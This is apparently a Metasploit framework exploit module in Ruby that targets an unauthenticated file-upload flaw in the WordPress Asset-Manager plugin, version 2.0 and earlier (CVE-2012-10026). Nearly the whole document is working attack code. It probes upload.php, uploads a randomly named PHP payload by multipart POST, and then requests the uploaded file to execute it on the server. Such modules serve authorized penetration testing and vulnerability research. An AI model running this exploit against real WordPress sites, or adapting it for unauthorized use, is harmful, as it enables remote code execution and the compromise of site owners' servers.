WordPress Asset-Manager PHP File Upload Vulnerability

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WordPress Asset-Manager PHP File Upload Vulnerability',
        'Description' => %q{
          This module exploits a vulnerability found in Asset-Manager <= 2.0 WordPress
          plugin. By abusing the upload.php file, a malicious user can upload a file to a
          temp directory without authentication, which results in arbitrary code execution.
        },
        'Author' => [
          'Sammy FORGIT', # initial discovery
          'James Fitts <fitts.james[at]gmail.com>' # metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2012-10026'],
          ['OSVDB', '82653'],
          ['BID', '53809'],
          ['EDB', '18993'],
          ['URL', 'http://web.archive.org/web/20150106144832/http://www.opensyscom.fr:80/Actualites/wordpress-plugins-asset-manager-shell-upload-vulnerability.html'],
          ['WPVDB', '6106']
        ],
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'Targets' => [['asset-manager <= 2.0', {}]],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2012-05-26',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def check
    uri = normalize_uri(wordpress_url_plugins, 'asset-manager', 'upload.php')

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => uri
    )

    return Exploit::CheckCode::Unknown('Could not determine the target status') if res.nil? || res.code != 200

    Exploit::CheckCode::Detected('The target service was detected')
  end

  def exploit
    payload_name = "#{rand_text_alpha(5)}.php"

    data = Rex::MIME::Message.new
    data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
    post_data = data.to_s

    print_status("Uploading payload #{payload_name}")
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(wordpress_url_plugins, 'asset-manager', 'upload.php'),
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => post_data
    )

    if res.nil? || res.code != 200 || res.body !~ /#{payload_name}/
      fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
    end

    register_files_for_cleanup(payload_name)

    print_status("Executing payload #{payload_name}")
    send_request_raw(
      'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', 'assets', 'temp', payload_name),
      'method' => 'GET'
    )
  end
end